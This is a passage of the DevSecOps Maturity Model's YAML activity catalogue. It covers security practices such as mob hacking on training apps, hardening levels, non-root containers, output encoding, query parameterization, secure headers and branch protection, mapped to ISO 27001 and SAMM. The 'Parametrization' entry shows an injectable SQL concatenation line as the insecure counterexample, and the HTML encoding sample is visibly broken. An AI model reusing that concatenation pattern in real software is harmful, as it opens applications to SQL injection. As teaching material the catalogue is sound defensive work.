58c46807-fee9-448b-b6dd-8050c464ab52 + risk: After an incident, a similar incident might reoccur. + measure: Running a 'lessons learned' session after an incident helps drive continuous + improvement. Regular meetings with security champions are a good place to + share and discuss lessons learned. + difficultyOfImplementation: + knowledge: 3 + time: 3 + resources: 1 + usefulness: 3 + level: 3 + implementation: [] + references: + samm2: + - G-EG-B-3 + - O-IM-B-3 + iso27001-2017: + - 16.1.6 + iso27001-2022: + - 5.27 + openCRE: + - https://www.opencre.org/rest/v1/standard/DevSecOps+Maturity+Model+(DSOMM)/Education + and Guidance/58c46807-fee9-448b-b6dd-8050c464ab52 + comments: "" + tags: + - none + teamsImplemented: + Default: false + B: false + C: false + Simple mob hacking: + uuid: 535f301a-e8e8-4eda-ad77-a08b035c92de + risk: Understanding security is hard. + measure: | + Participate with your whole team in a simple mob hacking session organized by the Security Champion Guild. + In the session the guild presents a vulnerable application and together you look at possible exploits. + Just like in mob programming there is one driver and several navigators. + description: | + ### Guidelines for your simple mob hacking session + - All exploits happen via the user interface. + - No need for security/hacking tools. + - No need for deep technical or security knowledge. + - Use an insecure training app, e.g., [DVWA](https://dvwa.co.uk/) or [OWASP Juice Shop](https://owasp.org/www-project-juice-shop/). + - Encourage active participation, e.g., use small groups. + - Allow enough time for everyone to run at least one exploit. + + ### Benefits + - The team gets an idea of how exploits can look like and how easy applications can be attacked. + - The team understands functional correct working software can be highly insecure and easy to exploit. + difficultyOfImplementation: + knowledge: 5 + time: 3 + resources: 1 + usefulness: 3 + level: 3 + credits: | + AppSecure-nrw [Security Belts](https://github.com/AppSecure-nrw/security-belts/) + implementation: + - uuid: 1fff917f-205e-4eab-ae0e-1fab8c04bf3a + name: OWASP Juice Shop + tags: + - training + url: https://github.com/bkimminich/juice-shop + description: In case you do not have the budget to hire an external security + expert, an option is to use the OWASP JuiceShop on a "hacking Friday" + - uuid: a8cd9acb-ad22-44d6-b177-1154c65a8529 + name: Damn Vulnerable Web Application + tags: + - training + description: Simple Application with intended vulnerabilities. HTML based. + references: + samm2: + - G-EG-A-2 + iso27001-2017: + - 7.2.2 + iso27001-2022: + - 6.3 + openCRE: + - https://www.opencre.org/rest/v1/standard/DevSecOps+Maturity+Model+(DSOMM)/Education + and Guidance/535f301a-e8e8-4eda-ad77-a08b035c92de + comments: "" + tags: + - none + teamsImplemented: + Default: false + B: false + C: false + Process: + Approval by reviewing any new version: + uuid: 3f63bdbc-c75f-4780-a941-e6ad42e894e1 + risk: An individual might forget to implement security measures to protect source + code or infrastructure components. + measure: On each new version (e.g. Pull Request) of source code or infrastructure + components a security peer review of the changes is performed (two eyes principle) + and approval given by the reviewer. + difficultyOfImplementation: + knowledge: 2 + time: 2 + resources: 1 + usefulness: 3 + level: 3 + implementation: [] + references: + samm2: [] + iso27001-2017: + - Peer review - four eyes principle is not explicitly required by ISO 27001 + - 6.1.2 + - 14.2.1 + iso27001-2022: + - Peer review - four eyes principle is not explicitly required by ISO 27001 + - 5.3 + - 8.25 + openCRE: + - https://www.opencre.org/rest/v1/standard/DevSecOps+Maturity+Model+(DSOMM)/Process/3f63bdbc-c75f-4780-a941-e6ad42e894e1 + comments: "" + tags: + - none + teamsImplemented: + Default: false + B: false + C: false + Definition of a change management process: + uuid: b4193d32-3948-47e2-a326-3748c48019a1 + risk: The impact of a change is not controlled because these are not recorded + or documented. + measure: Each change of a system is automatically recorded and adequately logged. + difficultyOfImplementation: + knowledge: 4 + time: 3 + resources: 1 + usefulness: 3 + level: 3 + implementation: [] + references: + samm2: [] + iso27001-2017: + - 14.2.2 + - 12.1.2 + - 12.4.1 + iso27001-2022: + - 8.32 + - 8.15 + openCRE: + - https://www.opencre.org/rest/v1/standard/DevSecOps+Maturity+Model+(DSOMM)/Process/b4193d32-3948-47e2-a326-3748c48019a1 + comments: "" + tags: + - none + teamsImplemented: + Default: false + B: false + C: false + Definition of simple BCDR practices for critical components: + uuid: c72da779-86cc-45b1-a339-190ce5093171 + description: A _Business Continuity and Disaster Recovery_ (BCDR) is a plan + and a process that helps a business to return to normal operations if a disaster + occurs. + risk: If the disaster recovery actions are not clear, you risk slow reaction + and remediation delays. This applies to cyber attacks as well as natural emergencies, + such as a power outage. + measure: By understanding and documenting a business continuity and disaster + recovery (BCDR) plan, the overall availability of systems and applications + is increased. Success factors like responsibilities, Service Level Agreements, + Recovery Point Objectives, Recovery Time Objectives or Failover must be fully + documented and understood by the people involved in the recovery. + difficultyOfImplementation: + knowledge: 4 + time: 3 + resources: 2 + usefulness: 4 + level: 1 + implementation: [] + references: + samm2: + - O-IM-B-2 + iso27001-2017: + - 17.1.1 + iso27001-2022: + - 5.29 + openCRE: + - https://www.opencre.org/rest/v1/standard/DevSecOps+Maturity+Model+(DSOMM)/Process/c72da779-86cc-45b1-a339-190ce5093171 + tags: + - none + teamsImplemented: + Default: false + B: false + C: false + Determining the protection requirement: + uuid: 72737130-472c-4984-80f8-9ab2f1c2ed5d + risk: "Not defining the protection requirement of applications can lead to wrong + prioritization, delayed remediation of \ncritical security issues, increasing + the risk of exploitation and potential damage to the organization." + measure: "Defining the protection requirement. \nThe protection requirements + for an application should consider:\n- Processed data criticality\n- Application + accessibility (internal vs. external)\n- Regulatory compliance\n- Other relevant + factors" + difficultyOfImplementation: + knowledge: 2 + time: 2 + resources: 1 + usefulness: 3 + level: 2 + dependsOn: + - Inventory of production components + implementation: + - uuid: 227d786c-dd76-4b81-b0b2-62389ab8f0fb + name: OWASP DefectDojo + tags: + - vulnerability management system + - owasp + url: https://github.com/DefectDojo/django-DefectDojo + description: | + DefectDojo is a security program and vulnerability management tool. DefectDojo allows you to manage your application security program, maintain product and application information, triage vulnerabilities and push findings into defect trackers. Consolidate your findings into one source of truth with DefectDojo. + - uuid: d2eb592d-c9b5-4c39-bff7-bb313a58e3a9 + name: Purify + tags: + - vulnerability management system + url: https://github.com/faloker/purify/ + description: | + The goal of Purify to be an easy-in-use and efficient tool to simplify a workflow of managing vulnerabilities delivered from various (even custom) tools. + - uuid: 3b99799c-e875-4cc2-aad7-5ce4564a1cde + name: Business friendly vulnerability management metrics + url: https://medium.com/uber-security-privacy/business-friendly-vulnerability-management-metrics-cfd702fd7705 + tags: + - documentation + - vulnerability + - vulnerability management system + - uuid: 7ec30b0e-9681-427a-80ee-ab811d9e476f + name: DefectDojo Client + tags: + - Defectdojo + - statistics + url: https://github.com/SDA-SE/defectdojo-client + description: | + This projects contains the DefectDojo upload client and statistics client. It is for example used within the ClusterImageScanner. + references: + samm2: + - O-OM-A-2 + - G-PC-B-2 + iso27001-2022: + - 5.25 + - 5.12 + - 5.13 + - 5.1 + openCRE: + - https://www.opencre.org/rest/v1/standard/DevSecOps+Maturity+Model+(DSOMM)/Process/72737130-472c-4984-80f8-9ab2f1c2ed5d + tags: + - vulnerability-mgmt + - metrics + - vmm-measurements + teamsImplemented: + Default: false + B: false + C: false +Implementation: + Application Hardening: + App. Hardening Level 1: + uuid: cf819225-30cb-4702-8e32-60225eedc33d + risk: Using an insecure application might lead to a compromised application. + This might lead to total data theft or data modification. + measure: | + Following frameworks like the + * OWASP Application Security Verification Standard Level 1 + * OWASP Mobile Application Security Verification Standard + + in all applications provides a good baseline. Implement 95%-100% of the recommendations. + difficultyOfImplementation: + knowledge: 2 + time: 2 + resources: 1 + usefulness: 4 + level: 2 + dependsOn: + - App. Hardening Level 1 (50%) + description: | + To tackle the security of code developed in-house, OWASP offers an extensive collection of [Cheatsheets](https://cheatsheetseries.owasp.org/) demonstrating how to implement features securely. Moreover, the Security Knowledge Framework[1] offers an extensive library of code patterns spanning several programming languages. These patterns can be used to not only jump-start the development process, but also do so securely. + + [...] + + ### Planning aka Requirements Gathering & Analysis + The Requirements gathering process tries to answer the question: _"What is the system going to do?"_ At this stage, the [SAMM project](https://owaspsamm.org/model/) offers 3 distinct maturity levels covering both [in-house](https://owaspsamm.org/model/design/security-requirements/stream-a/) software development and [third party](https://owaspsamm.org/model/design/security-requirements/stream-b/) supplier security. + + ![SAMM Requirements](https://github.com/OWASP/www-project-integration-standards/raw/master/writeups/owasp_in_sdlc/images/OWASP-in0.png) + + Organizations can use these to add solid security considerations at the start of the Software Development or Procurement process. + + These general security considerations can be audited by using a subsection of the ASVS controls in section V1 as a questionnaire. This process attempts to ensure that every feature has concrete security considerations. + + In case of internal development and if the organization maps Features to Epics, the [Security Knowledge Framework](https://securityknowledgeframework.org/) can be used to facilitate this process by leveraging its questionnaire function, shown below. + + Source: [OWASP Project Integration](https://raw.githubusercontent.com/OWASP/www-project-integration-standards/master/writeups/owasp_in_sdlc/index.md) + implementation: + - uuid: 88767cde-1610-402e-98ec-bc3575377183 + name: OWASP ASVS + tags: [] + url: https://owasp.org/www-project-application-security-verification-standard/ + - uuid: 7bf90650-a53a-4581-a214-1afd5de3a059 + name: OWASP MASVS + tags: [] + url: https://github.com/OWASP/owasp-masvs + - uuid: 596cb528-8981-4723-bcc3-22c261f26114 + name: API Security Maturity Model for Authorization + tags: + - api + url: https://curity.io/resources/learn/the-api-security-maturity-model/ + references: + samm2: + - D-SR-A-3 + iso27001-2017: + - Hardening is not explicitly covered by ISO 27001 - too specific + - 13.1.3 + iso27001-2022: + - Hardening is not explicitly covered by ISO 27001 - too specific + - 8.22 + openCRE: + - https://www.opencre.org/rest/v1/standard/DevSecOps+Maturity+Model+(DSOMM)/Application + Hardening/cf819225-30cb-4702-8e32-60225eedc33d + comments: "" + tags: + - none + teamsImplemented: + Default: false + B: false + C: false + App. Hardening Level 1 (50%): + uuid: b597928e-54d6-48a5-a806-8003dcd56aab + risk: Using an insecure application might lead to a compromised application. + This might lead to total data theft or data modification. + measure: | + Following frameworks like the + * OWASP Application Security Verification Standard Level 1 + * OWASP Mobile Application Security Verification Standard + + in all applications provides a good baseline. Implement 50% of the recommendations. + difficultyOfImplementation: + knowledge: 2 + time: 2 + resources: 1 + usefulness: 3 + level: 1 + description: | + To tackle the security of code developed in-house, OWASP offers an extensive collection of [Cheatsheets](https://cheatsheetseries.owasp.org/) demonstrating how to implement features securely. Moreover, the Security Knowledge Framework[1] offers an extensive library of code patterns spanning several programming languages. These patterns can be used to not only jumpstart the development process, but also do so securely. + + [...] + + ### Planning aka Requirements Gathering & Analysis + The Requirements gathering process tries to answer the question: _"What is the system going to do?"_ At this stage, the [SAMM project](https://owaspsamm.org/model/) offers 3 distinct maturity levels covering both [in-house](https://owaspsamm.org/model/design/security-requirements/stream-a/) software development and [third party](https://owaspsamm.org/model/design/security-requirements/stream-b/) supplier security. + + ![SAMM Requirements](https://github.com/OWASP/www-project-integration-standards/raw/master/writeups/owasp_in_sdlc/images/OWASP-in0.png) + + Organizations can use these to add solid security considerations at the start of the Software Development or Procurement process. + + These general security considerations can be audited by using a subsection of the ASVS controls in section V1 as a questionnaire. This process attempts to ensure that every feature has concrete security considerations. + + In case of internal development and if the organization maps Features to Epics, the [Security Knowledge Framework](https://securityknowledgeframework.org/) can be used to facilitate this process by leveraging its questionnaire function, shown below. + + Source: [OWASP Project Integration](https://raw.githubusercontent.com/OWASP/www-project-integration-standards/master/writeups/owasp_in_sdlc/index.md) + implementation: + - uuid: 88767cde-1610-402e-98ec-bc3575377183 + name: OWASP ASVS + tags: [] + url: https://owasp.org/www-project-application-security-verification-standard/ + - uuid: 7bf90650-a53a-4581-a214-1afd5de3a059 + name: OWASP MASVS + tags: [] + url: https://github.com/OWASP/owasp-masvs + - uuid: 596cb528-8981-4723-bcc3-22c261f26114 + name: API Security Maturity Model for Authorization + tags: + - api + url: https://curity.io/resources/learn/the-api-security-maturity-model/ + references: + samm2: + - D-SR-A-2 + iso27001-2017: + - Hardening is not explicitly covered by ISO 27001 - too specific + - 13.1.3 + iso27001-2022: + - Hardening is not explicitly covered by ISO 27001 - too specific + - 8.22 + openCRE: + - https://www.opencre.org/rest/v1/standard/DevSecOps+Maturity+Model+(DSOMM)/Application + Hardening/b597928e-54d6-48a5-a806-8003dcd56aab + comments: "" + tags: + - none + teamsImplemented: + Default: false + B: false + C: false + App. Hardening Level 2: + uuid: ffe86caf-2fec-4630-b514-2db83983984d + risk: Using an insecure application might lead to a compromised application. + This might lead to total data theft or data modification. + measure: | + Following frameworks like the + * OWASP Application Security Verification Standard Level 2 + * OWASP Mobile Application Security Verification Standard Level 2 + + Implement 95%-100% of the recommendations. + difficultyOfImplementation: + knowledge: 3 + time: 3 + resources: 1 + usefulness: 3 + level: 4 + implementation: + - uuid: 88767cde-1610-402e-98ec-bc3575377183 + name: OWASP ASVS + tags: [] + url: https://owasp.org/www-project-application-security-verification-standard/ + - uuid: 7bf90650-a53a-4581-a214-1afd5de3a059 + name: OWASP MASVS + tags: [] + url: https://github.com/OWASP/owasp-masvs + references: + samm2: + - D-SR-A-2 + iso27001-2017: + - Hardening is not explicitly covered by ISO 27001 - too specific + - 13.1.3 + iso27001-2022: + - Hardening is not explicitly covered by ISO 27001 - too specific + - 8.22 + openCRE: + - https://www.opencre.org/rest/v1/standard/DevSecOps+Maturity+Model+(DSOMM)/Application + Hardening/ffe86caf-2fec-4630-b514-2db83983984d + comments: "" + dependsOn: + - App. Hardening Level 2 (75%) + tags: + - none + teamsImplemented: + Default: false + B: false + C: false + App. Hardening Level 2 (75%): + uuid: 03643ca2-03c2-472b-8e19-956bf02fe9b7 + risk: Using an insecure application might lead to a compromised application. + This might lead to total data theft or data modification. + measure: | + Following frameworks like the + * OWASP Application Security Verification Standard Level 2 + * OWASP Mobile Application Security Verification Standard Level 2 + + Implement 75% of the recommendations. + difficultyOfImplementation: + knowledge: 3 + time: 3 + resources: 1 + usefulness: 3 + level: 3 + implementation: + - uuid: 88767cde-1610-402e-98ec-bc3575377183 + name: OWASP ASVS + tags: [] + url: https://owasp.org/www-project-application-security-verification-standard/ + - uuid: 7bf90650-a53a-4581-a214-1afd5de3a059 + name: OWASP MASVS + tags: [] + url: https://github.com/OWASP/owasp-masvs + references: + samm2: + - D-SR-A-3 + iso27001-2017: + - Hardening is not explicitly covered by ISO 27001 - too specific + - 13.1.3 + iso27001-2022: + - Hardening is not explicitly covered by ISO 27001 - too specific + - 8.22 + openCRE: + - https://www.opencre.org/rest/v1/standard/DevSecOps+Maturity+Model+(DSOMM)/Application + Hardening/03643ca2-03c2-472b-8e19-956bf02fe9b7 + comments: "" + dependsOn: + - App. Hardening Level 1 + tags: + - none + teamsImplemented: + Default: false + B: false + C: false + App. Hardening Level 3: + uuid: 4cae98c2-4163-44ed-bb88-3c67c569533a + risk: Using an insecure application might lead to a compromised application. + This might lead to total data theft or data modification. + measure: | + Following frameworks like the + * OWASP Application Security Verification Standard Level 3 + * OWASP Mobile Application Security Verification Standard + + Implement 95%-100% of the recommendations. + difficultyOfImplementation: + knowledge: 4 + time: 4 + resources: 2 + usefulness: 4 + level: 5 + implementation: + - uuid: 88767cde-1610-402e-98ec-bc3575377183 + name: OWASP ASVS + tags: [] + url: https://owasp.org/www-project-application-security-verification-standard/ + - uuid: 7bf90650-a53a-4581-a214-1afd5de3a059 + name: OWASP MASVS + tags: [] + url: https://github.com/OWASP/owasp-masvs + references: + samm2: + - D-SR-A-3 + iso27001-2017: + - Hardening is not explicitly covered by ISO 27001 - too specific + - 13.1.3 + iso27001-2022: + - Hardening is not explicitly covered by ISO 27001 - too specific + - 8.22 + openCRE: + - https://www.opencre.org/rest/v1/standard/DevSecOps+Maturity+Model+(DSOMM)/Application + Hardening/4cae98c2-4163-44ed-bb88-3c67c569533a + dependsOn: + - App. Hardening Level 2 + tags: + - none + teamsImplemented: + Default: false + B: false + C: false + Containers are running as non-root: + uuid: a86c1fbc-28fd-4610-89a3-a7f73acfe45f + risk: |- + There are various reasons to run a container as non-root. Samples are listed: + ## Container Escape Vectors + + - Root privileges significantly increase the chance of breaking container isolation + - Root access can be leveraged to exploit kernel vulnerabilities + - Compromised root containers provide attackers with maximum privileges inside the container + - Greater potential for escaping container boundaries to the host system + + ## Host System Vulnerabilities + + Root containers can potentially: + + - Mount sensitive host filesystems + - Access critical device files + - Modify host network settings + - Interact with host system processes + - Override security controls + + ## Resource Management Issues + + Root privileges may allow containers to: + + - Bypass resource quotas and limits + - Modify control group (cgroup) settings + - Interfere with other containers' resources + - Circumvent memory and CPU restrictions + + Security Boundary Weakening + + - Violates the principle of least privilege + - Provides unnecessary elevated permissions + - Expands the potential attack surface + - Increases the impact of a successful compromise + measure: "Containers are running as non-root. This can be enforced in the image + itself or during runtime parameters \n(e.g. `podman run --user [...]`)." + difficultyOfImplementation: + knowledge: 2 + time: 2 + resources: 1 + usefulness: 3 + level: 2 + implementation: [] + references: + samm2: + - O-EM-A-1 + iso27001-2017: + - Virtual environments are not explicitly covered by ISO 27001 - too specific + - 13.1.3 + iso27001-2022: + - Virtual environments are not explicitly covered by ISO 27001 - too specific + - 8.22 + openCRE: + - https://www.opencre.org/rest/v1/standard/DevSecOps+Maturity+Model+(DSOMM)/Application + Hardening/a86c1fbc-28fd-4610-89a3-a7f73acfe45f + tags: + - none + teamsImplemented: + Default: false + B: false + C: false + Context-aware output encoding: + uuid: e1f37abb-d848-4a3a-b3df-65e91a89dcb7 + description: "**Input validation** stops malicious data from entering your system. + \\\n**Output encoding** neutralizes malicious data before rendering to user, + or the next system.\n\nInput validation and output encoding work together. + Apply both. \n\n**Context-aware output encoding** encodes data differently, + depending on its context. In the sample below the `{{bad_data}}` must be encoded + differently, depending on its context, to render safe HTML.\n\n```html\n
{{bad_data}}
\nClick me\n\n\n```\n" + risk: If an attacker manages to slip though your input validation, the attacker + may gain control over the user session or execute arbitrary actions. + measure: "* Use modern secure frameworks such as React/Angular/Vue/Svelte. The + default method here renders data in a safe way.\n* Use established and well-maintained + encoding libraries such as OWASP\u2019s Java Encoder and Microsoft\u2019s + AntiXSS.\n* Implement content security policies (CSP) to restrict the types + of content that can be loaded and executed.\n" + difficultyOfImplementation: + knowledge: 1 + time: 2 + resources: 1 + usefulness: 3 + level: 1 + implementation: + - uuid: 2d61e48f-bade-4332-a383-adc50c29673a + name: OWASP DOM based XSS Prevention CheatSheet + url: https://cheatsheetseries.owasp.org/cheatsheets/DOM_based_XSS_Prevention_Cheat_Sheet.html + tags: [] + - uuid: ae97c9b0-308c-4dab-bff9-bf3330a897dc + name: CWE-838 Inappropriate Encoding for Output Context + tags: + - documentation + - cwe + url: https://cwe.mitre.org/data/definitions/838.html + references: + samm2: + - D-SR-A-1 + iso27001-2017: + - Hardening is not explicitly covered by ISO 27001 - too specific + - 13.1.3 + iso27001-2022: + - Hardening is not explicitly covered by ISO 27001 - too specific + - 8.22 + openCRE: + - https://www.opencre.org/rest/v1/standard/DevSecOps+Maturity+Model+(DSOMM)/Application + Hardening/e1f37abb-d848-4a3a-b3df-65e91a89dcb7 + comments: "" + tags: + - none + teamsImplemented: + Default: false + B: false + C: false + Parametrization: + uuid: 00e91a8a-3972-4692-8679-674ab8547486 + description: | + By concatenating strings from user input to build SQL queries, an attacker can manipulate the query to do other unintentional SQL commands as well. + + This is called *SQL injection* but the principle applies to NoSql, and anywhere that your code is building commands that will be executed. + + Pay attention to these two lines of code. They seem similar, but behave very differently. + + * `sql.execute("SELECT * FROM table WHERE ID = " + id);` + * `sql.execute("SELECT * FROM table WHERE ID = ?", id);` + The second line is parameterized. The same principle applies to other types, such as command line execution, etc. + risk: "Systems vulnerable to injections may lead to data breaches, loss of data, + \nunauthorized alteration of data, or complete database compromise or downtime.\n\nThis + applies to SQL, NoSql, LDAP, XPath, email headers OS commands, etc.\n" + measure: | + * Identify which of the types your application is using. Check that you use: + * Use _parametrized queries_ (or _prepared statements_) + * For database queries, you may also use: + * Use _stored procedures_ () + * Use ORM (Object-Relational Mapping) tools that automatically handle input sanitization + difficultyOfImplementation: + knowledge: 1 + time: 2 + resources: 1 + usefulness: 3 + level: 1 + implementation: + - uuid: d880fa0f-9dbb-454e-a003-d844fad31ab4 + name: OWASP Parameterization CheatSheet + url: https://cheatsheetseries.owasp.org/cheatsheets/Query_Parameterization_Cheat_Sheet.html + tags: [] + references: + samm2: + - D-SR-A-1 + iso27001-2017: + - Hardening is not explicitly covered by ISO 27001 - too specific + - 13.1.3 + iso27001-2022: + - Hardening is not explicitly covered by ISO 27001 - too specific + - 8.22 + openCRE: + - https://www.opencre.org/rest/v1/standard/DevSecOps+Maturity+Model+(DSOMM)/Application + Hardening/00e91a8a-3972-4692-8679-674ab8547486 + comments: "" + tags: + - none + teamsImplemented: + Default: false + B: false + C: false + Secure headers: + uuid: 29318d60-18ce-4526-80ea-f5928e49f639 + risk: | + Missing or misconfigured security headers can lead to various security vulnerabilities, e.g.: + - Cross-Site Scripting (XSS) due to missing Content Security Policy + - Clickjacking attacks due to missing X-Frame-Options + - Information disclosure through Server header exposure + - SSL/TLS downgrade attacks due to missing HSTS + - Cross-site scripting and injection due to missing security headers + measure: | + Implement and enforce security headers across all applications and services + + Implementation Methods: + 1. Reverse Proxy/Load Balancer: Configure at nginx/Apache level + 2. Web Application: Implement in the application middleware + 3. Service Mesh: Configure at the ingress controller level + 4. Standard Docker Image: Use secure base images with preset headers + + Remove or Secure: + - Server header: Hide server version information + - X-Powered-By: Remove technology stack information + difficultyOfImplementation: + knowledge: 2 + time: 1 + resources: 2 + usefulness: 4 + level: 3 + implementation: + - uuid: 370b7f35-4da7-4833-89d6-7266b82ea07e + name: OWASP Secure Headers Project + tags: + - header + - documentation + url: https://owasp.org/www-project-secure-headers/ + description: "The OWASP Secure Headers Project (also called OSHP) describes + HTTP response headers that your application can use \nto increase the security + of your application. Once set, these HTTP response headers can restrict + modern browsers \nfrom running into easily preventable vulnerabilities. + The OWASP Secure Headers Project intends to raise awareness\nand use of + these headers." + meta: + implementationGuide: | + Essential headers: + - Content-Security-Policy: Define trusted sources for content + - Strict-Transport-Security: Enforce HTTPS connections + - X-Frame-Options: Prevent clickjacking attacks + - X-Content-Type-Options: Prevent MIME-type sniffing + - X-XSS-Protection: Enable browser's XSS filtering + - Referrer-Policy: Control information in the Referrer header + references: + samm2: + - O-EM-A-2 + iso27001-2017: + - Hardening is not explicitly covered by ISO 27001 - too specific + - 13.1.3 + iso27001-2022: + - Hardening is not explicitly covered by ISO 27001 - too specific + - 8.22 + openCRE: + - https://www.opencre.org/cre/620-421 + tags: + - none + teamsImplemented: + Default: false + B: false + C: false + Development and Source Control: + .gitignore: + uuid: 363a3eea-baf9-4010-88ca-bb8186a2989d + risk: Unintended leakage of secrets, debug, or workstation specific data + measure: .gitignore files help prevent accidental commits of secrets, debug, + or workstation specific data + difficultyOfImplementation: + knowledge: 2 + time: 1 + resources: 1 + usefulness: 5 + level: 4 + dependsOn: [] + implementation: [] + references: + samm2: + - O-EM-A-1 + iso27001-2017: + - Not explicitly covered by ISO 27001 - too specific + - 12.1.1 + - 12.1.2 + - 14.2.2 + iso27001-2022: + - Not explicitly covered by ISO 27001 - too specific + - 5.37 + - 8.32 + openCRE: + - https://www.opencre.org/rest/v1/standard/DevSecOps+Maturity+Model+(DSOMM)/Development + and Source Control/363a3eea-baf9-4010-88ca-bb8186a2989d + tags: + - none + teamsImplemented: + Default: false + B: false + C: false + Block force pushes: + uuid: c7d99b18-c3e1-4d22-b2e3-9aa9146c0b17 + risk: "Misuse of force push can lead to loss of work. It may overwrite remote + \nbranches without warning, potentially erasing valuable contributions from + team members. This can disrupt collaboration, \ncause data loss, and create + confusion in the development process.\n\nBypassing the pull request process + might remove an important code review step. \nThis increases the risk of merging + low-quality or buggy code into the main branch, potentially introducing bugs + in the codebase." + measure: Mandate blocking of force pushes in the version control platform. + difficultyOfImplementation: + knowledge: 2 + time: 1 + resources: 2 + usefulness: 3 + level: 3 + dependsOn: + - Require a PR before merging + implementation: + - uuid: b1b88bc5-5a22-4888-a27b-acce3d9fe29a + name: Improve code quality with branch policies + url: https://docs.microsoft.com/en-us/azure/devops/repos/git/branch-policies?view=azure-devops + tags: + - source-code-protection + - scm + - uuid: 99211481-de9c-4358-880e-628366416a27 + name: About protected branches + url: https://docs.github.com/en/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/about-protected-branches + tags: + - source-code-protection + - scm + references: + samm2: + - O-EM-A-1 + iso27001-2017: + - 6.1.2 + - 14.2.1 + iso27001-2022: + - 5.3 + - 8.25 + openCRE: + - https://www.opencre.org/rest/v1/standard/DevSecOps+Maturity+Model+(DSOMM)/Development + and Source Control/c7d99b18-c3e1-4d22-b2e3-9aa9146c0b17 + tags: + - none + teamsImplemented: + Default: false + B: false + C: false + Dismiss stale PR approvals: + uuid: ea6f69f7-54a5-4922-ac15-a77ff0c16162 + risk: Intentional or accidental alterations in critical branches like main (or + master) through post-approval code additions. + measure: Implement a policy where any commits made after a pull request has + been approved automatically revoke that approval, necessitating a fresh review + and re-approval process. + difficultyOfImplementation: + knowledge: 2 + time: 1 + resources: 2 + usefulness: 4 + level: 3 + dependsOn: + - Require a PR before merging + implementation: + - uuid: b1b88bc5-5a22-4888-a27b-acce3d9fe29a + name: Improve code quality with branch policies + url: https://docs.microsoft.com/en-us/azure/devops/repos/git/branch-policies?view=azure-devops + tags: + - source-code-protection + - scm + - uuid: 99211481-de9c-4358-880e-628366416a27 + name: About protected branches + url: https://docs.github.com/en/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/about-protected-branches + tags: + - source-code-protection + - scm + - uuid: 86c6bdba-73c0-4c99-bbda-81b85c9fe2a4 + name: Enforcement of commit signing + tags: + - signing + url: https://docs.github.com/en/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/managing-a-branch-protection-rule + description: Usage of branch protection rules + references: + samm2: + - O-EM-A-1 + iso27001-2017: + - Peer review - four eyes principle is not explicitly required by ISO 27001 + - 6.1.2 + - 14.2.1 + iso27001-2022: + - Peer review - four eyes principle is not explicitly required by ISO 27001 + - 5.3 + - 8.25 + openCRE: + - https://www.opencre.org/rest/v1/standard/DevSecOps+Maturity+Model+(DSOMM)/Development + and Source Control/ea6f69f7-54a5-4922-ac15-a77ff0c16162 + tags: + - none + teamsImplemented: + Default: false + B: false + C: false + Local development linting & style checks performed: + uuid: 517b0957-4981-4ac0-b4c7-0d8d1934c474 + risk: Insecure or unmaintainable code base. + measure: Integrate static code analysis tools in IDEs. + difficultyOfImplementation: + knowledge: 1 + time: 1 + resources: 1 + usefulness: 2 + level: 5 + description: "" + implementation: + - uuid: 0b7ec352-0c36-4de1-8912-617fc6c608fe + name: How to enforce a consistent coding style in your projects + url: https://www.meziantou.net/how-to-enforce-a-consistent-coding-style-in-your-projects.htm + tags: + - ide + - linting + - uuid: aa5ded61-5380-4da6-9474-afc36a397682 + name: In-Depth Linting of Your TypeScript While Coding + url: https://blog.sonarsource.com/in-depth-linting-of-your-typescript-while-coding + tags: + - ide + - linting + references: + samm2: + - V-ST-A-1 + iso27001-2017: + - ISO 27001:2017 mapping is missing + iso27001-2022: + - ISO 27001:2022 mapping is missing + openCRE: + - https://www.opencre.org/rest/v1/standard/DevSecOps+Maturity+Model+(DSOMM)/Development + and Source Control/517b0957-4981-4ac0-b4c7-0d8d1934c474 + comments: "" + tags: + - none + teamsImplemented: + Default: false + B: false + C: false + Require a PR before merging: + uuid: e7598ac4-b082-4e56-b7df-e2c6b426a5e2 + risk: Intentional or accidental alterations in critical branches like main (or + master). + measure: Define source code management system policies (e.g. branch protection + rules, mandatory code reviews from at least one person, ...) to ensure that + changes to critical branches are only possible under defined conditions. These + policies can be implemented at repository level or organization level, depending + on the source code management system. + difficultyOfImplementation: + knowledge: 2 + time: 1 + resources: 2 + usefulness: 4 + level: 2 + implementation: + - uuid: b1b88bc5-5a22-4888-a27b-acce3d9fe29a + name: Improve code quality with branch policies + url: https://docs.microsoft.com/en-us/azure/devops/repos/git/branch-policies?view=azure-devops + tags: + - source-code-protection + - scm + - uuid: 99211481-de9c-4358-880e-628366416a27 + name: About protected branches + url: https://docs.github.com/en/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/about-protected-branches + tags: + - source-code-protection + - scm + references: + samm2: + - O-EM-A-1 + iso27001-2017: + - Peer review - four eyes principle is not explicitly required by ISO 27001 + - 6.1.2 + - 14.2.1 + iso27001-2022: + - Peer review - four eyes principle is not explicitly required by ISO 27001 + - 5.3 + - 8.25 + openCRE: + - https://www.opencre.org/rest/v1/standard/DevSecOps+Maturity+Model+(DSOMM)/Development + and Source Control/e7598ac4-b082-4e56-b7df-e2c6b426a5e2 + tags: + - none + teamsImplemented: + Default: false + B: false + C: false + Require status checks to pass: + uuid: ac8730a2-ccc0-465c-9550-d91edae9d5ee + risk: Organizations risk introducing broken builds, quality issues, and security + vulnerabilities into their codebase. + measure: Mandate passing of security related specified status checks, like successful + builds or static application security tests, before proceeding. + difficultyOfImplementation: + knowledge: 2 + time: 1 + resources: 2 + usefulness: 4 + level: 3 + dependsOn: + - Require a PR before merging + implementation: + - uuid: b1b88bc5-5a22-4888-a27b-acce3d9fe29a + name: Improve code quality with branch policies + url: https://docs.microsoft.com/en-us/azure/devops/repos/git/branch-policies?view=azure-devops + tags: + - source-code-protection + - scm + - uuid: 99211481-de9c-4358-880e-628366416a27 + name: About protected branches + url: https://docs.github.com/en/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/about-protected-branches + tags: + - source-code-protection + - scm + - uuid: 86c6bdba-73c0-4c99-bbda-81b85c9fe2a4 + name: Enforcement of commit signing + tags: + - signing + url: https://docs.github.com/en/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/managing-a-branch-protection-rule + description: Usage of branch protection rules + references: + samm2: + - O-EM-A-1 + iso27001-2017: + - 6.1.2 + - 14.2.1 + iso27001-2022: + - 5.3 + - 8.25 + openCRE: 